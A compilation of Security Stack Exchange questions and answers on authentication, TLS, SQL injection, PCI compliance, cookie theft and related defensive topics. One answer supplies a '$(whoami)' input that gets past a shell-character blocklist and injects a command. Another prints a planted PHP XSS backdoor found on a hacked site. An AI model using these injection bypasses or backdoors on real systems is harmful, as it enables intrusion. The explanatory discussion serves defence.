Is it poor practice to use the last 4 digits of a social security number as an identifier? Is it poor practice to use the last 4 digits of a social security number as an identifier?

The last 4 digits of a person's social are commonly used as a means of personal identification/authentication, but I can't find guidelines regarding their usage as such. It seems that needlessly exposing part of one's SSN creates an avoidable attack vector.

Never use SSN for authentication. They do not work for that, because they were not designed for  that.

While you should probably try to keep your own SSN secret, when designing a system you should consider all SSN's as public knowledge. The internet is littered with data dumps containing them. Your friends, family or employees of any institution you've handed yours out to has access to it. On top of that, they are to short to hash safely. It's about as bad as using your shoe size as password for everything.

This advice goes for all of your processes, including sign in, account recovery and interactions with customer support. It's best if you can avoid having to store them at all, unless you are willing to risk your own mini Equifax scandal.


Security for Hospital IT I'm developing a program in Java intended to be utilized in a hospital. The system uses RMI internally between workstations and the server program. The program would be installed on the hospital's workstations and a hospital server. The server also listens to a socket and will authenticate with an RSA encryption scheme and retrieve queries to a SQL database. These transmissions are JSON.

I'm looking for a reasonably-secure method to communicate behind the hospital's firewall to user devices such as smartphones. Is there a best practice for doing this specific to a hospital setting (for example opening a port)?

You should use TLS to transmit securely over the network. If the data is indeed JSON, then it makes the most sense for the server to simply be a webserver and you would use TLS in the form of HTTPS to secure the communication.

For authentication, don't roll your own RSA based system.  TLS automatically gives you server authentication.   If you need client authentication as well, what you choose will depend on the application's needs.  If device based client auth is needed, client certs would be one way to handle this.

Additionally, don't wait until you've built the system to talk the the hospital's IT security staff.   You should talk to them as soon as you're finished with your intended design, at the latest.


How to connect sensors such as Snort to AlienVault SIEM? I want to connect some sensors such as Snort and OSSEC to AlienVault SIEM. How can i do that?! Is it possible to send logs via syslog?

For OSSEC you can generate new keys for every agent that will be reporting to the OSSEC server installed in the OSSIM server (check Analysis | Detection | HIDS)

For Snort, the most easy and recommended way is install an OSSIM sensor profile, that comes with the Snort up and provides you the new rules using the command alienvault-update

But if you are not interested in that, because you have a Snort installation working, you can send the unified2 logs to the OSSIM server using rsyslog, and check in the snort.cfg that the directory var is pointing to the correct place.

This issues are explained in the User manual: http://communities.alienvault.com/community/technical-documentation


Why can't I just let customers connect directly to my database? I'm pretty sure this is a stupid idea but I'd like to know why, so bear with me for a moment.
Lots of the work backend developers do is providing CRUD access to customers via HTTP, essentially mapping data from and to the internal database. Customers authorize to the web service using some sort of credentials via an encrypted connection, the web service validates data and performs queries against the backend database, then returns the result to the client.

All in all, this is merely a worse way to interact with the database directly: Almost nobody fully implements the REST specification, and sooner or later you always end up with home-cooked generic filtering, sorting or pagination - while SQL supports all of this already.

That got me wondering: Why not give customers access to the database by exposing the SQL port, skipping the HTTP API entirely? This has lots of advantages:

Clients must encrypt connections using a client certificate
We can use the access control built into the server or just use shard databases per customer
(My-)SQL permissions are pretty fine-grained, so I'd wager there shouldn't be any obvious security issues
Performance should be way better, since we skip the entire HTTP communication and web app code
New features are a matter of database migrations, everything is reflected in the schema
Powerful query capabilities are provided to users, without any additional effort

The downsides seem to include being unable to support multiple schema versions, even though I think careful deprecations (and client SDKs, maybe) should make the impact minimal.

As nobody seems to do this, there must be a security risk I'm overlooking. Why can't we provide public SQL access to our customers? What could possibly go wrong? (Please keep in mind that this is just a thought experiment born out of curiosity)

TL,DR: Don't.

  (My-)SQL permissions are pretty fine-grained, so I'd wager there shouldn't be any obvious security issues

Even with permission on the record level, it does scale easy. If a user has irrestricted SELECT on a table, they can select any record on that table, even those not belonging to them. A salary table would be a bad one. If any user has DELETE or UPDATE, they may forget the WHERE clause, and there goes your table. It happens even to DBAs, so why would it not happen to a user?

  Performance should be way better, since we skip the entire HTTP communication and web app code

And you throw away all security, auditing, filtering and really fine grained permission control from using an application to validate, filter, grant and deny access. And usually most of the time spent on a transaction is the database processing the query. Application code is less than that, and you will not remove the HTTP communication, you just replace it with SQL communication.

  New features are a matter of database migrations, everything is reflected in the schema

That's why so many people use a "spreadsheet as a database." And it's a nightmare when you need to reconcile data from multiple sources.

  Powerful query capabilities are provided to users, without any additional effort

It's like putting a powerful engine on a skeleton chassis, bolting on a seat, and taking it to a race. There's no extra weight slowing the car down, so it's very fast!

It's the same here. Sure, it's fast and powerful, but without security measures provided by the application, no session, record-level access control, "users do what they are allowed to", or auditing.

One of the most common vulnerabilities on web applications is SQL Injection, and you are giving a SQL console to your users. You are giving them a wide variety of guns, lots of bullets, and your foot, your hand, your head... And some of them don't like you.


What should I do if my adapter isn't capable of packet injection? I tried the aireplay test but it said "No Answers" instead of "Injection is working". I also get error of  List of possible errors (which also includes packet injection problem) when trying to associate with aireplay. But my adapter is in monitor mode.

aireplay-ng --test wlan1mon

gives

Trying broadcast probe requests...
No Answers...
Found 0 APs

My chipset is a Ralink Technology, Corp. RT2870/RT3070

I'm kind of a beginner in this so go a little easy on me. Thanks in advance.

SOLVED:

The test result says "No Answers..." and "Found 0 APs". There was no AP nearby that can give answer to ensure that your adapter actually supports packet injection, so of course there's no answer from any AP.

Make sure you are close enough to the AP (any WiFi hotspot). If that didn't work, Go to aircrack's official site to check whether your adapter is capable or not.

Have you read the aircrack article about supported cards? Start there to begin with. They even have a tool to test if your cards supports monitor/injection mode. If the hardware doesn't support modes other than station infrastructure mode, you're out of luck. If it does, then make sure you have the correct drivers supporting this feature. At last you OS should have the tools to inject/monitor, but this is not the problem, most of the time.

From what I have found (just by searching, I haven't actually confirmed anything) is your card doesn't support injection or monitor mode.


Unsafe sanitization? Is this code SQLi vulnerable? Function RemoveSuspeitos(ByVal strTXT)
               Dim txtAux As String
               txtAux = strTXT
               txtAux = Replace(txtAux, chr(34), "")
               txtAux = Replace(txtAux, "'", "")
               RemoveSuspeitos = txtAux
End Function

DB: MSSQL

1) Forget syntax errors in the above code, I am not expert in VB.

2) Lets say I always use single or double quotes, even for int values (e.g.: '" + $int_id + "').

Is this sanitization unsafe?
If yes, why? Please show me a real exploit scenario.

Yes it is vulnerable. Depending on the input mechanism and the implementation I can simply append a UNION and continue the query to select additional data. I cannot give you an exact scenario without seeing the implementation and the query this string is concatenated with. Fact is that you allow input beyond the scope you will need or want.

Just use parameterized SQL, I'm sure VB supports adding parameters to your queries.

See this


Is SAQ A-EP possible on a shared web host? Our provider is a shared web host, therefore we don't have any control over software, firewall or logs.

Considering the following requirements, I was wondering if anyone knew whether it was even possible.

  Requirement 1: Install and maintain a firewall configuration to
  protect cardholder data

  Requirement 2: Do not use vendor-supplied defaults for system
  passwords and other security parameters

  Requirement 5: Protect all systems against malware and regularly
  update anti-virus software or programs

  Requirement 6: Develop and maintain secure systems and applications

  Requirement 8: Identify and authenticate access to system components

  Requirement 10: Track and monitor all access to network resources and
  cardholder data

  Requirement 12: Maintain a policy that addresses information security
  for all personnel

Lastly, I would like to apologise for the question, there seems to be very little definitive information in general on PCI compliance.

Your hosting provider is acting as a service provider for network, operating system, and several other services in the SAQ A-EP. For your compliance, you will need to obtain a copy of their Attestation of Compliance in order to satisfy requirement 12.8. Also, be sure to review their AoC to make sure that the services covered by their AoC are the services you are expecting from them. I have run into situations where the AoC for a hosting provider only covered physical security (requirement 9) but not OS-level requirements.

Finally, this article from the PCI SSC can be helpful: https://www.pcisecuritystandards.org/pdfs/best_practices_securing_ecommerce.pdf


Custom certificate verification using thumbprint I'm trying to confirm if the approach I'm thinking of taking towards verifying a self signed certificate is sound, or if I'm going about it the wrong way. I'm no security expert, so bear with me please if I make any wrong assumptions.

Following is a summary of the situation I have:

Self hosted Windows Service that can be running on any machine in the LAN. The service is implemented using .NET gRPC.
The service will only be accessed from the LAN using a desktop client. No access from a web browser or external client is involved.
The client uses the IP address of the host where the service is running to access it.

From a security PoV, I want to ensure that the data sent between the client and service is encrypted. To achieve this, .NET gRPC allows the use of certificates so that the client can talk to the service using HTTPS.

However, I don't want to buy or use a CA certificate, therefore I plan to create a self signed certificate and configure the gRPC service with it.

Given that clients need to access the service through the IP address, I would need to install the certificate on every client machine. However, I don't wish to do that. Instead I plan to leverage .NET ServerCertificateCustomValidationCallback and implement custom verification.

To verify, I am thinking of storing the certificate thumbprint/hash in the client's code, and when the callback is invoked, verify that the received certificate thumbprint/hash matches the one in the client's code.

Is this verification method reliable? Can a man in the middle attack occur with this method?

My initial thinking is that because it's only the certificate hash an attacker can get hold of from the client, it won't be possible to create a fake certificate and make the client trust it. However, I am not 100% sure.

It is perfectly fine to use a cryptographic hash ("fingerprint") of the certificate for comparison instead of the certificate itself. And this is actually often done when implementing certificate pinning.

A man in the middle would not be able to generate a certificate and matching private key where the certificate has exactly the same fingerprint as your self-signed one as long as the hash algorithm used for the fingerprint is strong enough. Given that SHA-256 is considered sufficient as signature algorithm in a certificate you can also consider it sufficient for this fingerprint.

Of course, whenever this self-signed certificate might be compromised you need to change your application, but as long as this is in your control this should not be a problem.


Using certificate on same server but different port for https I have taken a working HTTPS certificate from a server that I want to use on the same server, just on a different port.  The certificate has a Subject Alternative Name defined in it.  Using keytool, I generated a new keystore, added the existing certificate, and restarted Tomcat.  However, when I get to the site, it still says that it is insecure.  The errors say the certificate has no SAN, and it looks like the certificate is now listed as self-signed.  Any idea why this is happening and how to get a secure, valid https connection?

EDIT:

These are the commands I ran:

generating keystore:

    keytool -genkey -alias myalias -keyalg RSA -keystore "C:\Program
    Files\Apache Software Foundation\Tomcat 9.0\conf\Keystore\keystore"

importing signed certificate

keytool -importcert -file certfromgissite.cer -keystore keystore

So after those two commands are run, my keystore has the privateKeyEntry and the trustedCertEntry.

I figured out the issue.  The problem was not with the CA key, it was with the private key.  Once i remade the private key using this:

keytool -genkey -alias gis.akrf.com -keyalg RSA -keystore "C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\Keystore\keystore" -ext SAN=dns:(your dns here, like some.domain.com or localhost, which should also match your keyalias in tomcat's server.xml )

so it has an SAN and followed the directions here, it worked.


Why are some OpenSSH CVE patches not being updated when checking for updates? I am working to pass some Trustwave PCI scans on my server, starting with the OpenSSH CVEs.

Here's what I'm working with:

root@host [~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
root@host [~]# cat /proc/version
Linux version 2.6.32-042stab116.2 (root@kbuild-rh6-x64.eng.sw.ru) (gcc version 4                 .4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 24 15:33:57 MSK 2016

I have been grepping through the changelog to confirm that certain CVE issues have the appropriate patches installed. I've been able to confirm the following have been addressed:

root@host [~]# rpm -q --changelog openssh | grep 'CVE'

 - CVE-2016-3115: missing sanitisation of input for X11 forwarding (#1317817)
 - CVE-2016-1908: Prevent possible fallback from untrusted X11 forwarding (#1299048)
 -  CVE-2015-5352: XSECURITY restrictions bypass under certain conditions
 -  CVE-2015-5600: MaxAuthTries limit bypass via duplicates in KbdInteractiveDevices
 -  CVE-2015-6563: Privilege separation weakness related to PAM support
 -  CVE-2015-6564: Use-after-free bug related to PAM support
 - prevent a server from skipping SSHFP lookup (#1081338) CVE-2014-2653
 - ignore environment variables with embedded '=' or '\0' characters CVE-2014-2532
 - change default value of MaxStartups - CVE-2010-5107 - #908707
 - fixed audit log injection problem (CVE-2007-3102)
 - CVE-2006-5794 - properly detect failed key verify in monitor (#214641)
 - CVE-2006-4924 - prevent DoS on deattack detector (#207957)
 - CVE-2006-5051 - don't call cleanups from signal handler (#208459)
 - use fork+exec instead of system in scp - CVE-2006-0225 (#168167)

However, the following CVEs - which are showing up as vulnerabilities in the scan - are not showing up in the change log.

CVE-2015-8325

CVE-2016-10009

CVE-2016-10012

CVE-2016-0777

CVE-2016-10010

CVE-2016-6515

All of this after:

root@host [~]# yum update

Loaded plugins: fastestmirror

Setting up Update Process

Loading mirror speeds from cached hostfile

 * base: mirrors.liquidweb.com

 * centosplus: centos.mirrors.my2pro.com

 * contrib: mirrors.tummy.com

 * epel: mirror.compevo.com

 * extras: repo1.sea.innoscale.net

 * fasttrack: mirror.scalabledns.com

 * updates: centos.mirror.lstn.net

No Packages marked for Update

Everything I'm reading online is saying do NOT update OpenSSH to the latest version, since everything should be backported. However, it seems to me that the version I am running is not getting updated with the appropriate patches.

Should I be manually installing these patches, or should I just try installing the latest version of openssh?

Should I be manually installing these patches, or should I just try installing the latest version of openssh?

It depends on what you are trying to achieve.

The important CVEs are in the package already fixed, as you found out. The others might not be, because they are not exploitable in the supported configuration or the effects are not severe. This is why the CVE numbers have their descriptions and impact. If you search around, you will see the explanation why it was or was not backported to RHEL6.

Updating OpenSSH to current version might make sense in some cases, but the interoperability with the rest of the system can be broken, you can get worse user experience or security in some cases. You will also not get any more bugfix and security updates from Red Hat. In this case you would need to follow the upstream releases, update manually and possibly add the patches that are used in Red Hat OpenSSH package to get similar user experience and security.


Replace forbidden characters function check python I have "blackbox" with the following python function code (without permission to change it):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Invalid characters')
            exit()
    os.system('ping ' + command)

I want to execute this function with the following command input:

-c 1 localhost; whoami;

To get this command to be running:

ping -c 1 localhost; whoami;

How can I bypass the forbidden characters check? Can I use another characters/encoding?

$(whoami) should bypass the filter and executes whoami.


Index page has been compromised, suspicious files are showing up My website has been hacked lately and it has been defaced. Now I have weird files, don't know where they coming from. I just want to know, what of these files are harmful or can cause that I get hacked again.

The .htaccess contains the following code:

<Files 403.shtml>
order allow,deny
allow from all
</Files>

deny from 121.54.58.159

The file .wysiwygPro_preview_eacf331f0ffc35d4b482f1d15a887d3b.php contains the following code:

// display the HTML code:
echo stripslashes($_POST['wproPreviewHTML']);

?>

What is that?

The PHP file is a XSS backdoor. It allows the attacker to provide any HTML with JavaScript in the context of your site. This allows him access to cookies set by your site.

An attacker will trick a victim to do a POST request to that file with the malicious code in the wproPreviewHTML variable. If that user has special permissions on your side e. g. because he is logged in, the attacker will be able to do anything, that use can do.

The forbidden error may be suspicious, too. Some malicious software tries to hide in the error document. As the error documents are usually outside the document root folder for the normal web pages, there is quite a high chance for such modifications to be unnoticed.

What to do now?

You need to setup your server from scratch, as you cannot know the complete impact of the manipulation. It is likely that there is a backdoor hidden somewhere. Do not copy any program files (including scripts and php files) from the compromised server to the new one.

Further more there are some malicious programs for desktop computers, which manipulate php files during upload via FTP or SFTP.


Can source javascript files be infected from a developer's machine? First a little bit of background, About two weeks back one of the developers in my team said they were seeing advertisement popups and links appearing all over the web app we were developing, when they were running it on localhost. He is based in another country and I chalked this up to may be a network or machine local infection. They claimed that it went away after sometime but they weren't sure what they did to make it disappear though.

I did deploy the branch we were developing in yesterday, and one of the end users complained of the same thing, advertisement links and popups coming all over the place. When me and a few others tested it we didn't really see anything like that.

So my question is could some malicious javascript code have been injected into the source via the infected dev machine? That might be targeting some specific browser version? If so is there a way to detect it?

EDIT :

One of the original devs who ran into this told me that he tracked it down to google analytics. But I think it's more likely the analytics script was hijacked. Also many of his friends got effected as well, and the friend has no access to our web app. And the end user who got affected told he disabled a plugin he don't remember installing in chrome and it went back to normal. So the chance of this being a localised infection is high. But the coincident is bugging me. :-|

This sounds a lot like ad-injection software installed by accident. This could be something like a Chrome extension or something bundled along with a download.

Google recently did a study on the matter, and they state that they "received more than 100,000 user complaints about them in Chrome since the beginning of 2015", making this a realistic scenario for the asker's problem.

I would suggest the people who complain about injected ads to run a malware scan and revise their list of browser plugins.

If, however, the problem persists, I would start checking the source control repository (assuming that you guys actually do source control) to check for changes to files that shouldn't really be changed. Make your infected developer do a clean clone from the repository and keep an close eye on any changes that developer does (or rather, make him keep an close eye on the changes he does!).

Good luck hunting!


What are the problems with uploading client-side encrypted keys to keybase.io? I was just reading some articles about keybase.io:

http://www.makeuseof.com/tag/keybase-wants-bring-encryption-masses-heres/
http://blog.lizdenys.com/2014/03/31/refusing-to-verify-myself/

And I'm confused about this statement:

  I really hope you didn't upload your private key, "client-side crypto" or not!

Assuming that your private key is actually encrypted on the client side, what is the problem with uploading it?

Of course, being paranoid I created a key specifically for use with keybase.io...

Assuming that your private key is actually encrypted on the client side, what is the problem with uploading it?

The private key is usually encrypted (but not necessarily). Anyway, a private key is much stronger than a "normal" passphrase and enable brute force attacks against the private key. Sharing the encrypted private key would actively harm your security.

The encryption of private keys with a passphrase is more to be considered an additional protection against accidental leakage and not meant to be a safe way of sharing it with the public (or any other untrusted entity like keybase.io).

But there's more to it: there is no real use in sharing your private key. All cryptographic operations involving others are based on the fact you only need to share (and should share) the public key. Encryption of messages to you is performed using your public key (and the private key is only used for decryption), signatures issued by your private key are verified using your public key. If everything you want to achieve is sharing your private key amongst your own machines, better choose a way that does not involve non-private channels like "cloud" services. Remember the private key changes very rarely, and putting some effort in offline transmission usually should not be an overly large hassle. Consider using subkeys to make key management easier.


Could a computer program be used to automate testing for trapdoors? Could a computer program given the source or object version of another program be used to automate testing for trapdoors/backdoors?

It depends on what your requirements are.

A sufficiently complex and well-designed system could be used to identify the most simple backdoors or trapdoors in most programming languages. However, if a language is Turing complete, any single expression or function can be expressed in an infinite number of ways, which makes such analysis equal to the halting problem.

A quick example of this is adding a and b together, to produce c.

c = a + b
c = (-a) - (-b)
c = (a - 1) + (b + 1)
c = ((a * 2) + (b * 2)) / 2

All of these are equal, and there are an infinite number of other ways to perform the same calculation. This gets even more complex when there are different instructions that can be used to do (almost) the same thing.

Most current vulnerability analysis that focuses on static analysis of executables works by identifying compiler artefacts, i.e. oddities and idiosyncrasies of individual compilers that allow for signature-based matching of potentially vulnerable code fragments. However, the automated tools spit out a large number of false positives, so a skilled person still has to sift through the results.

Since a backdoor is an is not a defined artefact, i.e. a backdoor may exist in a whole variety of different forms (e.g. backdoor account, reverse shell, hidden files, etc.), it is even more difficult to identify such problems. If the backdoor is something like an intentional buffer misuse to allow for easy buffer overflow exploitation, then it may well be possible to detect such a problem. If it's something more complex, like a particular secret command used to disable file access control, then it's nearly impossible.


Can a Kerberos application server offer to proxy connections to the KDC? As I understand it, when a client wants to authenticate to an application server using Kerberos it must first request a service ticket from the KDC (and possibly a ticket-granting-ticket if it does not already have one). For scenarios where the client cannot directly connect to the KDC but can connect to the application server (for example when an employee brings a laptop home and wants to authenticate with a company website) is there any way the application server can offer to proxy messages to the KDC? It seems like this would not pose any added risk, since Kerberos already doesn't trust the network. Also, is there any reason this is not how things work by default? Is it just that Kerberos was designed in a time when NAT was less common?

There exists this protocol called IAKerb. It is very much intended to allow clients to proxy messages through application servers when the clients don't have line of sight to a KDC.
It's about as simple as any Kerberos extension protocol goes. When the client can't find a KDC, the GSS-API stack will attempt to bundle up the original Kerberos messages and stuff them into an SPNego message and fire them off the to the application. The Kerberos dance occurs inside the encapsulated message flow and is opaque to the application itself. Once the user gets everything they needed out the protocol flow the client returns to normal and issues tickets for the application.
The trick here is finding compatible clients and applications. MIT supports it. I don't think Heimdal supports it. Windows definitely doesn't support it. Apple supports it.
You can find the spec in the IETF working group: https://tools.ietf.org/html/draft-ietf-kitten-iakerb-03


How does Java connect via SSL to a server without me providing any private/public key for the communication? I am talking about server side auth only.

Does Java create an internal self-signed cert for this communication?
AFAIK from TLS protocol, we both need to create a shared secret, which is based on what each one of us has. But basic Java SSL implementation, doesn't require me to create a keypair at all. Do I miss something?

Thanks!

In "usual" SSL, the public and private key pairs are on the server side, not the client. The client uses the server's public key (as found in the server's certificate, that the server conveniently sends to the client during the first connection steps) but does not need to own a public/private key pair itself(*).

Of course, this implies that while the client obtains from the server's certificate some reasonable guarantee that it is talking to the genuine intended server, the server has no idea whatsoever who the connected client may be. When there is no client certificate, SSL ensures only one-way authentication. If a server wants to authenticate clients, then it is up for the client and server to run some extra authentication protocol within the SSL tunnel. That's exactly what happens with Web browsers and HTTPS servers: the SSL layer convinces the client that it is talking to the right server, and then the client shows the user's password to the server.

(*) If the client and server agree to use a "DHE" cipher suites, then indeed both the client and server create temporary Diffie-Hellman key pairs, that you won't see; the corresponding public keys will not appear as part of certificates either. If the client and server use a more common "RSA" (non-DHE) cipher suite, then the key exchange is really the asymmetric encryption of some random bytes generated by the client, using the server's public key, and there is no public/private key pair on the client side.


Can a webpage text saved in pdf file compromise machines I am doing a security assessment where a webpage has fields if we sbmit data in them pdf is generated at backend, is it possible to submit some malicious text that will come in pdf and can compromise the user or backend machine.Any input is most welcome.

No, this is not possible as far as I know. I cannot think of a vector that would allow that to happen.

However, it is a rule that ALL user input is considered untrusted and must be validated before use. That still applies here. A classic example is allowing unrestricted length inputs (a non-browser client can ignore any HTML "restrictions" on length) to be submitted that causes a buffer overflow on the web server.

So always sanitise and validate any input to the server before you use it.


Is there a way to prevent hackers from using cookies to bypass two step verification? Let's take Steam/Google/FB/Microsoft/Twitter logins as examples.

All of them offer two step verification through SMS message. Let's say the hacker does not have access to my phone. But he has access to my computer at one point in time.

The hacker extracted my cookie from my browser (it's easy to do) and then put that cookie into his browser.

Theoretically he could just use it to login to the service without having to go through the two step verification process.

Is there any way to detect this kind of behavior or prevent this from happening?

Furthermore, for service providers using OAuth authentication provided by the ones mentioned above, is there anything they could do to detect such behavior?

Matthew's answer is definitely the correct answer, but I thought I'd follow up with more details:

Cookie-based authentication has a big weakness - the cookie is all you need to authenticate.  If someone is able to steal a user's cookie, there is nothing built into the cookie authentication process that let's the server know that shenanigans have happened.  You use the example of an attacker having physical access to the computer, but that is a rare case to look out for.  XSS vulnerabilities on sites with insecure cookies are a far more common way for cookies to get stolen.  Also common: session fixation attacks, packet sniffing over insecure wireless networks for sites that don't use https, and various other forms of MITM attacks.  To be clear, this isn't just an issue for cookie-based authentication.  The underlying problem is that HTTP is a stateless protocol, which means that if you can replay a previous request completely, there is no way (baked into HTTP) for the server to know that you are not the same person.

So how do services make sure that the person they talk to are the person they actually want to talk to?  The answer is not necessarily straight-forward.  As Matthew mentions, you have to monitor your access credentials in other ways: IP address changes, browser changes, user agent changes, etc... In essence you keep track of meta data related to the devices you are talking to and take close attention to any suspicious changes.

As you note in a comment, even this isn't fool-proof.  People can obviously fake user-agents.  This could possibly be countered by using device fingerprinting techniques (Device fingerprinting & Mass Computer Surveillance) which an attacker has substantially less control over.  IP Addresses aren't fixed, especially for mobile carriers, but as long as each device has it's own cookie, even this can potentially be tracked and accounted for.  If a given cookie has been associated with the same IP address for 6 months and is suddenly showing up in another country, you probably have a problem.  If a device frequently changes IP addresses (i.e. a phone) but now shows up with an IP address not associated with a mobile carrier or their usual geographic area, you probably have a problem.  The other thing to keep in mind is that each device should have a unique cookie.  Therefore, even if the IP address associated with a cookie normally changes, if you are now receiving requests from that cookie from two different IP addresses at the same time, you probably have a problem.

In the end, the simplest way to fix things if their appears to be something fishy going on is to simply invalidate all cookies (aka log the user out).  The legitimate user is only slightly inconvenienced - they just have to log back in.  The attacker though has lost all access and has to start over.

The take away

There should be a couple obvious takeaways from the above discussion:

There is no definite answer.  A sufficiently smart attacker has lots of ways to try to hide that he has stolen credentials, once they are stolen.
A system that hasn't setup extensive security/monitoring around their login credentials will have no way to know that something is going on, and no way to react.
There is no clear "Okay, you are secure now" point.  There is a lot that a system can do to secure login credentials, but ultimately there are things not under the server's control that can allow credentials to be stolen.  There are ways to detect stolen credentials, but they are not always easy or straight-forward and can take a lot of effort to setup, tune, and use.  It is also possible to be overzealous and cause problems for legitimate users.

So how do the big guys minimize the potential damage done from people walking away with credentials?  Short answer: Defense in depth.  Secure access credentials at all layers of the application, monitor meta data from clients using access credentials, and if in doubt, log them out.


Logout CSRF Protection I am making a CMS and I have a CSRF protection in settings, new article. Should I also put this protection in the logout ?

Short answer: yes.

Longer answer: You should have CSRF protection EVERYWHERE where you do something which requires the permission of the current logged in user and is changing some data.


Error in intercepting the request of an Android application I'm trying to analyze my flutter app's network traffic so I used burp suite for intercepting. First, I'm using the proxy option of burpsuite. I set my PC's IP address and port as 8080. Also in my Android device I set the proxy in WiFi with hostname as my PC IP address and port as 8080. Then I also installed the certificate from IP_address:8080. But still it doesn't capture any request of that app. But it can intercept some inbuilt apps.
What's the reason and what's the problem?

Not all Android apps respect the global/systemwide proxy settings, especially when running Android 7 or higher. It looks like you used a regular proxy but that might not work. You could try transparent proxies but that's considerably more difficult and might require rooting your device. I tried to do that a while ago in order to analyze the traffic of the official Stack Exchange Android app, but failed to do so because it's HTTPS traffic; instead, I choose to run it on an old device running Android 5.1.


Better alternative to WAF path whitelisting? We are managing a WAF which is being used by some applications. Recently I tried to use a Valid URL module to whitelist all the APIs and static resources of an application. Although from the security perspective it is good, I have to deal with the development team every day for opening new paths for them. It is kind of frustrating and needs a new changes to all environment every day.
I was thinking maybe it is not the best approach for using a WAF.
Do you now any best practice for this issue?

Not sure there is a 'best practice' as every organisation is different, however a very common practice in large enterprises is to use a combination of white and black-listing.

For Dev environments you may just want to blacklist, because changes are very frequent.
For Prod environments whitelist and lock down as much as you can. And blacklist known bad sites.

Where you have different applications in different DMZ's you can work on a risk-based and change-based mechanism and have some combination of the above, so that every firewall has a setup based on the profile needed.


How to properly calculate password entropy I am very confused with calculating password entropy i know that the formula is E = log2(RL).
where E is password entropy, R is the range of available characters, and L is the password length.
but what i if don't have the password length. Imagine there is a company that has 5 millions users and decided to use English alphabet (26 characters) for creating random password for each user (passwd length is not decided yet) the password will be hashed using SHA-256 .... hash = SHA - 256 (nickname + passwd).

How to calculate or plot password entropy in terms of passwd length in this case ?
How long does it take to crack even one password if using a GPU that can process 370200 hash/s ?

E = log2(RL)

That would be a good formula, if passwords were randomly and uniformly chosen across the character set. (Although wouldn't it be R^L?). Unfortunately humans are ludicrously non-uniformly random in choosing passwords; someone's password is far more likely to be password123 than ensr33nuo95 even though they are both 11 lowers and numbers.

Another way to think about password entropy is to assume some guessing strategy, and then ask how many guesses until you guess correctly. For example my "guess order" might be:

Try top 1 million most common password from breach data
Try all English words in alphabetical order, with and without caps, with !@#$%^. at the end, with 1337 s*bs, etc
Repeat for pairs of words, with and without spaces
Repeat for triplets of words, with and without spaces
etc

Then for a given password you can compute

E = log2(num_guesses_until_correct) = log2(pos_in_guess_list)

This entropy measure is clearly just an estimate because it depends heavily on which guessing algorithm / guess order I assumed. For example, my guessing algorithm above would never try qazwsxedc even though it's an obvious keyboard pattern.

Real entropy estimators are heuristic, I think giving your password a base score for length, and then taking off points for dictionary words, keyboard patterns, etc, giving extra points for caps and symbols. If done right, the entropy estimate should line up roughly with the number of guesses it would take an attacker using standard wordlists and algorithms.

If you want to take a look at a real entropy estimator, then take a look at  zxcvbn/src/scoring.coffee.


Alternative to storing passwords when dealing with integrations that only allow username/password authentication? I'm working on an integration with an external service that requires per-user authentication, like Facebook for example, but unlike Facebook only allows username+password for this authentication. My basic security background is uncomfortable at the thought that this means I actually need to collect user login credentials for the external service and store them unhashed.

Is there a standard solution to the problem of needing plain-text user passwords available?

You should store the passwords encrypted with a modern symmetric encryption algorithm. AES with a 256-bit key is recommended. Be sure to use a well-known and verified implementation of AES. The key must be stored securely as it is used to both encrypt and decrypt the stored passwords.

Also, if the service you're authenticating to requires you to send plaintext passwords over a network, make sure you're using a TLS-secure protocol (e.g. HTTPS).

If the service doesn't support TLS connections, all bets are off and you should seriously consider how useful this service really is (imagine all of the other things they're doing insecurely. Do you pay for this service? I wonder how they store your billing information?).


Why it bothers if someone can de-anonymize anonymous network (like Tor)? So we all know that NSA has the ability to track down Tor, I2P and all those anonymous networks. I know it's a piece of old news, but the question always shows up in my mind. Which is why bother it? I mean all your communication is encrypted through public key cryptography even through the simplest HTTPS connection, so apparently, they can't see what you're sending through the network. So unless you're visiting know illegal website, they shouldn't be able to track you down isn't it.

Like if you're talking with your friend through FB's Messenger, let's say. There's so much traffic in and out through FB's servers, how would they be possible to identify that this traffic is between you and server and then track you down to your location by the IP exploit from the connection (as it's one of the few stuff that isn't encrypted).

If that's true, then why bother if NSA has the ability to de-anonymize Tor network. Or even simpler, why should you use Tor network there isn't any difference between standard HTTPS anymore? Plus, they still can't identify you out from that pool of connection through FB server and with a Tor it might even standout from theirs view.

“So we all know that NSA has the ability to track down Tor, I2P and all those anonymous networks.”

Actually we know nothing of the kind. Tor was originally TOR (The Onion Network) and was  developed by U.S. Naval Research Labs (NRL) specifically to provide a mechanism that was both secure and anonymous against nation state level threats. Since then it has been maintained and enhanced by The Tor Project, Inc, a nonprofit since 2006.

“Which is why bother it? I mean all your communication is encrypted through public key cryptography even through the simplest HTTPS connection, ...”

In the modern digital world, secure encryption is easy but protecting content is not the primary threat mechanism. The main problem and the hard problem is protecting attribution. Knowing that “A” talked to “B” is powerful information, even though it’s commonly disparaged as merely meta-data. Examples are legion and include political activists, whistle blowers, or merely private information such as contacting for information on HIV or abortion or the hot topic of your choice.

“There's so much traffic in and out through FB's servers, how would they be possible to identify that this traffic is between you and server and then track you down to your location by the IP exploit from the connection...”

Traffic volume means nothing, this is exactly what computers do really well! Ask yourself how FB tracks and links all those individual connections? Every connection has a “TO” and “FROM” identifier. Tracking it requires nothing more that speed, it’s the very essence of how everything works.

“Or even simpler, why should you use Tor network there isn't any difference between standard HTTPS anymore?”

There is a huge difference! Without going into a lot of detail, Tor uses multiple relays in multiple countries, changing “TO and “FROM” wrappers at each relay. Unlike a VPN, at no point does an individual Tor node know both endpoints of a connection. The server doesn’t know your IP address, only that of the last (exit) Tor Node.

It’s important to note that Tor provides a secure and anonymous transport mechanism. If you use it to log into a known entity like FB, you are announcing your identity. Tor is not magic, if you provide identifiers (cookies), the anonymity of transport becomes irrelevant.


How would you know a certificate/private key if you extracted it from RAM? Or would you? Related to, of course, the heartbleed vulnerability, I've been reading the news about the worst case scenario for this attack being the extraction of the SSL private key, because, of course, this would allow the attacker to decrypt all traffic to and from the compromised server, including [probably, depending on forward secrecy] any traffic that's been captured and stored somewhere.

